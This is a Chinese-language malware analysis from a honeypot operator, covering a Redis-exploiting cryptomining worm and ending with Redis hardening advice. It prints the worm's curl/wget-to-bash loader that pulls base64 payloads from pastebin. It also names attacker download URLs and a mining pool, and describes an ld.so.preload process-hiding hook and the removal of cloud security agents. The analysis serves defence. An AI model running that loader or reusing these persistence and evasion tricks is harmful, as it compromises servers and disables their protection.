0x00 简介
通过之前部署的蜜罐系统,我近日在滴滴云上捕获到了一个通过 Redis 未授权访问漏洞进行入侵的蠕虫样本,该样本的特点是使用 Python 脚本进行横向漏洞扫描,并且具有进程隐藏和卸载某些云上安全产品的功能。
0x01 样本分析
通过蜜罐日志得到攻击者入侵开始于通过 Redis 写 crontab:
命令中的 URL https://pastebin.com/raw/1NtRkBc3 其实是一个中转,实际样本文件为 https://pastebin.com/raw/tRxfvbYN 在 base64 解码后的结果为:
curl https://pastebin.com/raw/1NtRkBc3
(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash
解码后是一个 300+ 行的 shell 脚本,该脚本共有 9 个函数:
kills
:根据关键字杀掉其他木马的进程和文件system
:从 https://pastebin.com/raw/CnPtQ2tM 下载 shell 脚本到/bin/httpdns
,然后创建定时任务定时执行该脚本,该脚本较本样本多了init
函数:
- 该函数从 https://master.minerxmr.ru/x/1539937106x-1566688371.jpg 下载可执行文件到
/usr/sbin/netdns
和/etc/init.d/netdns
,然后使用chkconfig --add netdns
设置自动启动,该文件使用了 UPX 压缩,解压之后的内容即为执行 shell 命令下载的样本:
- 该函数从 https://master.minerxmr.ru/x/1539937106x-1566688371.jpg 下载可执行文件到
top
:从 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg 下载动态链接库文件到/usr/local/lib/libdns.so
,然后将该路径写入到/etc/ld.so.preload
,从而使该库得以在其他可执行文件运行时被加载,该文件 hook 了readdir
这个函数,使其忽略/proc/
下kworkerds
这个进程对应的文件,从而导致top
等命令无法查看到kworkerds
这个进程,而这个进程就是后面要提到的挖矿主进程:
python
:使用 Python 解码并执行一段 base64 数据:
- 这段代码实际也是为了中转,最终执行的 Python 代码如下:
- 该脚本从
ident.me
获取 IP 地址并扫描 B 段,这里需要注意的是,除了扫描 6379 端口的 Redis 未授权访问,该脚本还对 8161 端口的 ActiceMQ 任意文件上传漏洞(CVE-2016-3088)进行了扫描
- 该脚本从
- 这段代码实际也是为了中转,最终执行的 Python 代码如下:
echocron
:创建定时任务,定时下载该样本:
tables
:更改 iptables,仅允许本地访问 6379 端口,防止其他入侵者继续入侵:
uninstall
:卸载阿里云安骑士和腾讯云云镜这两款主机安全产品,由此可见该蠕虫主要针对目标是国内的云主机:
downloadrun
:下载挖矿文件并运行:
- 可以看到该挖矿文件名称
kworkerds
即为上面提到的动态库想要隐藏的进程名。
- 可以看到该挖矿文件名称
downloadrunxm
:从 https://master.minerxmr.ru/y/1540521844x-1404729716.jpg 下载挖矿配置文件,并且根据机器架构下载不同的挖矿程序并执行,挖矿的矿池地址为stratum+tcp://x1.minerxmr.ru:56415
。
各函数的调用顺序如下:
从上述分析可以看到,这是一个针对 Redis 未授权访问漏洞的蠕虫,攻击者利用 pastebin.com
这种第三方文件传输服务来隐藏自身的位置(虽然后面使用了 ident.me
这个个人域名),使用动态链接库 hook 来隐藏进程,并且卸载了主流主机安全产品,可见入侵手法相对高级并具有针对性。
0x02 安全建议
Redis 未授权访问漏洞已经是一个常见漏洞,对于攻击者来说,该漏洞利用门槛低,成功利用后往往能获取较高权限,所以已被大量木马蠕虫所利用。建议用户使用以下方式对该漏洞进行防护:
- 设置 Redis 只能本机访问:在
redis.conf
中设置bind 127.0.0.1
- 更改默认端口:在
redis.conf
中设置port 端口
- 设置认证:在
redis.conf
中设置requirepass 密码
- 在云控制台安全组中设置安全组,仅允许指定 IP 访问 Redis 所在端口
- 以低权限用户运行 Redis
如果发现漏洞已存在,建议通过以下方法检查是否已被入侵:
- 检查 crontab 等敏感文件,对于滴滴云的用户来讲,可以从主机安全的界面直接看到相关内容:
- 下载静态链接版本的命令文件比如
ls
、top
查看系统状态。